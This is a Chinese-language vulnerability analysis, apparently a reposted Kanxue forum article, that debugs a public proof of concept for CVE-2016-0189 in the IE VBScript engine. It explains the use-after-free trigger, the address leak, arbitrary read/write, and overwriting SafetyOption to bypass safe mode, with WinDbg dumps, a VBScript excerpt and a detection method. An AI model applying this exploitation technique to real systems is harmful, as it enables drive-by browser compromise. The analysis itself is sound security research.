CVE-2016-0189 vbs指令碼引擎損壞漏洞分析

Editor發表於2018-06-19

漏洞背景


CVE-2016-0189是一個vbscript指令碼引擎損壞漏洞,最初作為一個0day被用在針對韓國的APT攻擊中,並在2016年3月10號於MS16-051中被修復。3個月後,國外安全人員通過補丁比對分析了漏洞成因,並將利用程式碼上傳到Github。從此0189便被廣泛納入各種掛馬,在今年的CVE-2018-8174出現之前,CVE-2016-0189一直是較新版本IE的掛馬首選。


由於之前在除錯這個漏洞時發現參考資料很少,特別是國內只看到一篇文章討論這個漏洞,於是決定把除錯過程寫一下,不足之處請見諒。


漏洞成因


在vbs解析引擎中,vbscript!AccessArray函式用來訪問陣列成員。例如訪問一個二維陣列A的成員A(1,1)時,vbs解析引擎就會呼叫這個函式,根據傳入的索引計算待訪問的地址。


2015年Hacking Team的洩漏中有兩個通過過載valueof函式來觸發的flash 0dayCVE-2015-5119/CVE-2015-5122。這兩個漏洞的思路是當賦值方是個物件,而被賦值方出於某種原因要求接收一個數值時,會呼叫該物件的valueof方法進行轉換,而valueof方法是可以被過載的,這樣就可以在過載的valueof函式中進行一些自定義的操作,例如釋放物件,改變陣列大小等。


在vbscript!AccessArray函式內,當訪問語句為如下形式時,就有可能進入上面的情景,而事實確實如此。


A(js_obj,1)


具體的邏輯如下圖所示,cp_var_index->vt代表索引變數的型別,當索引型別為VT_I2和VT_I4時,直接返回該物件的值,而其他情況下會呼叫vbscript!rtVariantChangeTypeEx函式,並在裡面呼叫oleaut32!VariantChangeTypeEx函式,隨後會呼叫物件的valueof方法。


CVE-2016-0189 vbs指令碼引擎損壞漏洞分析


我們來看一下VT_I2和VT_I4代表什麼:

The value of aVT_I2type property MUST be a2-byte signed integer. It MUST be formatted inlittle-endianbyte order.

The value of aVT_I4type property MUST be a4-byte signed integer. It MUST be formatted inlittle-endianbyte order.

當傳入索引是有符號短整型和有符號長整型型時,就直接使用其值,而當索引為其他型別時(例如當傳入物件為js物件時,變數型別為VT_DISPATCH),就呼叫vbscript!rtVariantChangeTypeEx函式將物件值轉化為要求的型別,最終通過呼叫valueof方法返回該值。


In vbscript!AccessArray

call vbscript!rtVariantChangeTypeEx

call oleaut32!VariantChangeTypeEx

...

call valueof


如果我們在過載的valueof內改變陣列的大小,當返回上層繼續訪問陣列元素時,就會產生問題。poc中的思路是:先定義一個比較大的二維陣列A(1, 2000),然後通過訪問A(js_obj, 2)去呼叫過載的js_obj.valueof()方法將一維索引轉化為合理的陣列下標。在js_obj.valueof()內將陣列縮小為A(1, 1),然後迅速用UAF進行佔位,並在valueof方法的最後返回1,作為轉換後的索引。轉換完成後訪問A(1, 2) 。然而這時候的A(1, 2)已經變成了佔位後的記憶體。攻擊者多次利用這一特性來操控記憶體,分別實現洩漏一個類物件地址,任意地址讀,和任意地址寫。在此基礎上找到vb的安全選項開關,利用一個單精度浮點數(vbSingle)的型別值(4)去覆蓋原來的安全開關屬性值(0x0E->0x?4),從而開啟上帝模式。


vbscript.dll內判斷物件安全性的函式是COleScript::InSafeMode,彙編程式碼如下圖所示。可以看到test指令對 dword ptr [ecx+174] 的值與0x0B(00001011)進行與運算,若結果為0,即認為不處於SafeMode,放行物件執行。


CVE-2016-0189 vbs指令碼引擎損壞漏洞分析


除錯環境

windows 7 sp1 x86 無補丁+vbscript.dll/oleaut32.dll 5.8.7601.17514+windbg 6.11 x86


POC分析與除錯

poc的主入口為exploit函式,原始碼的註釋寫的很清晰,可以看到exploit函式分為5個步驟:


CVE-2016-0189 vbs指令碼引擎損壞漏洞分析


步驟1:洩漏VBScriptClass物件地址


getAddr函式的邏輯又可以分為如幾步:

初始化一個ArrayWrapper類例項,此過程呼叫過載的Class_Initialize方法初始化一個二維陣列A(1, 2000)

在訪問A陣列時針對一維索引傳入一個js物件,導致呼叫過載的valueof方法

在過載的valueof方法中,呼叫triggerBug函式

triggerBug函式中呼叫ArrayWrapper.Resize方法將陣列縮小為A(1, 1),這將導致多餘部分的記憶體被釋放

利用精心構造的資料(y陣列)迅速佔用剛剛被釋放的記憶體

在過載的valueof方法最後返回1,返回後繼續訪問A(1, 2),從而將s物件寫入可控的記憶體

遍歷y陣列,通過對比VarType找出s物件(s是一個空class例項)並返回其地址

CVE-2016-0189 vbs指令碼引擎損壞漏洞分析

VBScriptClass繼承了NameTbl,其頭部是一個NameTbl結構體,NameTbl結構體偏移0x08處的值是一個指向NameList結構體的指標,NameList結構體偏移0x2C處是一個CDISPIDTable結構體,而CDISPIDTable結構體偏移0x08處的值是一個指標陣列,每個陣列元素都指向一個VAR結構體,代表一個類成員在類物件中的實體,整個關係如下所示:

CVE-2016-0189 vbs指令碼引擎損壞漏洞分析

先來看一下resize後的aw.A:


//VBScriptClass

0:005> dd0200ac80l30/4

0200ac80 6d061748000000020200ace002009420

0200ac90 00000e70000000000200adbc00000000

0200aca0 000000000039be4c000000000055fcf8

//classname

0:005> du0039be4c

0039be4c "ArrayWrapper"

//NameList

0:005> dd0200ace0

0200ace0 0200adb8000000c80000010000000100

0200acf0 000040000200adbc0200ae700200ad70

0200ad00 0000000f000000030000004000000003

0200ad10 000000140200ad180200adbc0200ae10

0200ad20 0200ae50000001350000013f00000000

0200ad30 0200acf40200ad080000004700000000

0200ad40 00000140000001410000004300000000

0200ad50 0000013500000141000000000200ad1c

//CDISPIDTable

0:005> dd0200ace0+2c

0200ad0c 00000003000000140200ad180200adbc

0200ad1c 0200ae100200ae50000001350000013f

0200ad2c 000000000200acf40200ad0800000047

0200ad3c 00000000000001400000014100000043

0200ad4c 00000000000001350000014100000000

0200ad5c 0200ad1c0200ad380000004477fb323f

0200ad6c 08011193000000000200ae500200ae10

0200ad7c 00000000000000000000000000000000

//slots_start

0:005> dd0200ad18l8

0200ad18 0200adbc0200ae100200ae5000000135

0200ad28 0000013f000000000200acf40200ad08

//slot前兩個成員為aw顯式宣告的兩個成員函式, 第三個成員為aw.A

0:005> dd0200ae50l4

0200ae50 0000600c000000000200ae5c0036c1e8

//可以看到此時aw為一個二維陣列,大小為(1+1,1+1)

0:005> dd0036c1e8l8

0036c1e8 088000020000001000000000034d8678

0036c1f8 00000002000000000000000200000000

//aw.A.pvData

0:005> dd034d8678

034d8678 00000000000000000000000000000000

034d8688 00000000000000000000000000000000

034d8698 00000000000000000000000000000000

034d86a8 00000000000000000000000000000000

034d86b8 7d3b38dd0807e4ee0000bb8041414141

034d86c8 00000009000000000055fcf800000000//被寫入的s物件

034d86d8 00440044004400440044004400440044

034d86e8 00440044004400440044004400440044

//aw.A.pvData, 以byte檢視

0:005> db034d8678

034d8678 0000000000000000-0000000000000000 ................

034d8688 0000000000000000-0000000000000000 ................

034d8698 0000000000000000-0000000000000000 ................

034d86a8 0000000000000000-0000000000000000 ................

034d86b8 dd383b7dee e40708-80bb000041414141 .8;}........AAAA

034d86c8 0900000000000000-f8 fc550000000000 ..........U.....

034d86d8 4400440044004400-4400440044004400 D.D.D.D.D.D.D.D.

034d86e8 4400440044004400-4400440044004400 D.D.D.D.D.D.D.D.

再來看一下佔位成功後的y陣列情況:


//可以看到y是一個一維陣列,成員數量為(32+1)

0:005> dd00370bf0l6

00370bf0 089200010000001000000000003d2928

00370c00 0000002100000000

//y.pvData

0:005> dd003d2928

003d2928 6d060008e0d3a79f034d86c46d065482

003d2938 6d060008e0d3a79f034e425c6d065482

003d2948 6d060008e0d3a79f034efdf46d065482

003d2958 6d060008e0d3a79f034fb98c6d065482

003d2968 6d060008e0d3a79f035075246d065482

003d2978 6d060008e0d3a79f035130bc6d065482

003d2988 6d060008e0d3a79f0351ec546d065482

003d2998 6d060008e0d3a79f0352a7ec6d065482

//y(0), 以byte檢視

0:005> db034d86c4

034d86c4 4141414109000000-00000000f8 fc5500 AAAA..........U.

034d86d4 0000000044004400-4400440044004400 ....D.D.D.D.D.D.

034d86e4 4400440044004400-4400440044004400 D.D.D.D.D.D.D.D.

034d86f4 4400440044004400-4400440044004400 D.D.D.D.D.D.D.D.

034d8704 4400440044004400-4400440044004400 D.D.D.D.D.D.D.D.

034d8714 4400440044004400-4400440044004400 D.D.D.D.D.D.D.D.

034d8724 4400440044004400-4400440044004400 D.D.D.D.D.D.D.D.

034d8734 4400440044004400-4400440044004400 D.D.D.D.D.D.D.D.

下圖分別以aw.A視角(紅色框區域)和y視角(黃色框區域)看s物件,不難發現有4位元組的錯位:

CVE-2016-0189 vbs指令碼引擎損壞漏洞分析
理解上圖之後,我們就可以根據條件查詢包含s物件的y陣列成員,除錯時恆為y(0)。poc裡面申請32次記憶體是確保釋放後的記憶體一定被y中的某個成員再次使用,進而從32個成員裡面找出包含s物件的那個成員。


For i=0To31

' Mid(y(i),3,1) 即取出上面日誌中的0900, 與s物件的型別vbObject進行比對, 若相等則進入if, 除錯時i恆為0, 說明釋放後的記憶體被y(0)立即佔用

' Mid(y(i),3+4,2) 即取出上圖中的 f8 fc5500, strToInt將其轉化為0055fcf8, 即s物件的地址

If Asc(Mid(y(i),3,1))=VarType(s) Then

addr=strToInt(Mid(y(i),3+4,2))

End If

y(i)=Null

Next



0:005> dd0055fcf8l30/4

0055fcf8 6d061748000000230000000002009420

0055fd08 00000e70000000000000000000000000

0055fd18 00000000003715240200ac8000000000

0:005> ln6d061748

(6d061748)   vbscript!VBScriptClass::`vftable'   |  (6d06c518)   vbscript!__pfnDefaultDliNotifyHook2

Exact matches:

vbscript!VBScriptClass::`vftable'=<notypeinformation>

//可以看到洩漏的s物件正是Dummy類的例項

0:005> du00371524

00371524 "Dummy"


洩漏了s物件的地址後,我們通過相關資料結構去獲取vbscript!SafetyOption的記憶體地址,並將其改寫為0x00或0x04。查詢過程如下:

CVE-2016-0189 vbs指令碼引擎損壞漏洞分析

下面對此進行說明。

步驟2:讀取CSession物件指標

poc中讀取CSession物件指標的程式碼如下所示:

CVE-2016-0189 vbs指令碼引擎損壞漏洞分析

由前面的分析已知addr是一個VBScriptClass例項指標,我們可以看到程式碼把addr+8的地址傳入leakMem函式,並通過Mid(mem, 3, 2)將CSession物件指標獲取出來並轉換為16進位制。

一個疑問

為什麼上述程式碼不寫成如下形式?


mem=leakMem(arg1, addr+&hc)

csession=strToInt(Mid(mem,1,2))

為了回答這個問題,我們先來看一下leakMem函式的實現:

CVE-2016-0189 vbs指令碼引擎損壞漏洞分析

leakMem的基本邏輯是在佔位記憶體中構造一個字串地址(Data High)為待讀取地址的字串物件,然後再次利用漏洞觸發UAF,從而使aw.A(1, 2)處改寫為一個VT_BSTR物件,隨後讀取該物件,從而使addr處的資料被當做定長字串讀出,最後在讀取的字串中定位CSession指標對應的部分並轉化為對應的32位地址。

CVE-2016-0189 vbs指令碼引擎損壞漏洞分析

圖片出處

我們來回顧一下BSTR物件的結構:

CVE-2016-0189 vbs指令碼引擎損壞漏洞分析

圖片出處

關鍵點在於字串前面的4位元組,這4位元組是一個長度域,指定了後面待讀取的unicode字串長度。現在再來看一下前面問題的那個問題。

這是本次除錯中getAddr函式返回的VBScriptClass例項:


0:005> dd0055fcf8l30/4

0055fcf8 6d06174800000023

0055fd08 00000e70000000000000000000000000

0055fd18 00000000003715240200ac8000000000

原poc中傳入的是addr+8,那麼可以構造出如下的BSTR結構:


//長度

0:005> dd0055fcf84l1

0055fcfc 00000023

//資料

0:005> db0055fcf8+8l23*2

0055fd00 0000000020940002-700e000000000000 .... ...p.......

0055fd10 0000000000000000-0000000024153700 ............$.7.

0055fd20 80ac000200000000-3f32fb7786110008 ........?2.w....

0055fd30 0000000074ab0002-0000000000000000 ....t...........

0055fd40 000000000000


這樣可以成功讀取包含Csession地址的字串。


如果程式碼這樣寫:


mem=leakMem(arg1, addr+&hc)

csession=strToInt(Mid(mem,1,2))


但當傳入addr+c時,構造的BSTR如下:


//長度為0, 無法讀出資料

0:005> dd0055fcf84l1

0055fd00 00000000

0:005> db0055fcf8+c

0055fd04 20940002700e0000-0000000000000000  ...p...........

0055fd14 0000000000000000-2415370080ac0002 ........$.7.....

0055fd24 000000003f32fb77-8611000800000000 ....?2.w........

0055fd34 74ab000200000000-0000000000000000 t...............

0055fd44 0000000000000000-0000000000000000 ................

0055fd54 0000000000000000-0000000000000000 ................

0055fd64 0000000000000000-000000003532fa7c ............52.|

0055fd74 8811000060af0002-f88100022b000000 ....`.......+...

此時構造的BSTR的長度域為0,資料無法正常讀出。


步驟3:讀取COleScript物件指標


poc中讀取COleScript物件指標的程式碼如下,原理和上一步完全相同,此處不再過多分析:

CVE-2016-0189 vbs指令碼引擎損壞漏洞分析


步驟4:覆寫vbscript!SafetyOption

CVE-2016-0189 vbs指令碼引擎損壞漏洞分析


在IE8中,vbscript!SafetyOption位於COleScript物件的+0x174處。poc程式碼中通過呼叫overwrite函式去覆寫這一值,如下:


CVE-2016-0189 vbs指令碼引擎損壞漏洞分析


程式碼中偽造一個type=0x400C間接定址物件,接著觸發漏洞,隨後將一個Csng(單精度浮點)物件的寫入COleScript+0x16C開始的16個位元組處,COleScript+0x174處正好寫入Csng的type值4,從而開啟上帝模式。


//type=0x400c對應間接定址

0:005> dd03218184+4l4

03218188 0000400c000000000036f91400440044

//覆蓋前的SafetyOption

0:005> dd0036f914l1

0036f914 0000000e

//覆蓋後的SafetyOption,SafetyOption &0x0B失效(0x024f0004&0x0B=0)

0:005> dd0036f914l1

0036f914 024f0004


步驟5

開啟上帝模式後,就可以彈出cmd視窗了。

CVE-2016-0189 vbs指令碼引擎損壞漏洞分析


漏洞檢測

下面通過逆向某安全軟體來看一下對CVE-2016-0189的動態檢測方案。

首先hook oleaut32!VariantChangeTypeEx函式

CVE-2016-0189 vbs指令碼引擎損壞漏洞分析

CVE-2016-0189 vbs指令碼引擎損壞漏洞分析

可以看到程式碼中對CVE-2016-0189的檢測邏輯為:在呼叫oleaut32!VariantChangeTypeEx函式前後檢查rgsabound[0].cElements所對應的第二維度的大小,若呼叫後的大小小於呼叫前的大小,則視為檢出。

CVE-2016-0189 vbs指令碼引擎損壞漏洞分析


0:013> dt ole32!tagSAFEARRAY

+0x000cDims : Uint2B

+0x002fFeatures : Uint2B

+0x004cbElements : Uint4B

+0x008cLocks : Uint4B

+0x00cpvData : Ptr32 Void

+0x010rgsabound : [1] tagSAFEARRAYBOUND

0:013> dt ole32!tagSAFEARRAYBOUND

+0x000cElements : Uint4B

+0x004lLbound : Int4B

//呼叫VariantChangeTypeEx前的aw.A

0041e7a0 08800002000000100000000002ff0f58

0041e7b0 000007d1000000000000000200000000

//呼叫VariantChangeTypeEx後的aw.A

0041e7a0 08800002000000100000000002ff0f58

0041e7b0 00000002000000000000000200000000

//rgsabound[0].cElements大小變化如下:

7d1(2000+1)->2(1+1)


這裡有一個疑問,MSDN對多維陣列的rgsabound域解釋.aspx)如下:


CVE-2016-0189 vbs指令碼引擎損壞漏洞分析


但除錯時發現A(1, 2000)的rgsabound實際使用順序和文件描述相反,看檢測邏輯裡面判斷的也是rgsabound[0]->cElements。我們以實際除錯結果為主。


致謝

特別感謝Hu Jiang,Xu Xilin,Yang Kang在除錯過程中的指導


參考連結

《CVE-2016-0189》https://theori.io/research/cve-2016-0189

《theori-io/cve-2016-0189》https://github.com/theori-io/cve-2016-0189

《Nebula漏洞利用包CVE-2016-0189漏洞利用分析》http://www.freebuf.com/sectool/131766.html

《WinDbg 漏洞分析除錯(三)之 CVE-2014-6332》https://paper.seebug.org/240/

《Write Once, Pwn Anywhere》https://www.blackhat.com/docs/us-14/materials/us-14-Yu-Write-Once-Pwn-Anywhere.pdf



原文出自:[原創]CVE-2016-0189 vbs指令碼引擎損壞漏洞分析

本文由看雪論壇 銀雁冰 原創

轉載請註明來自看雪社群



相關文章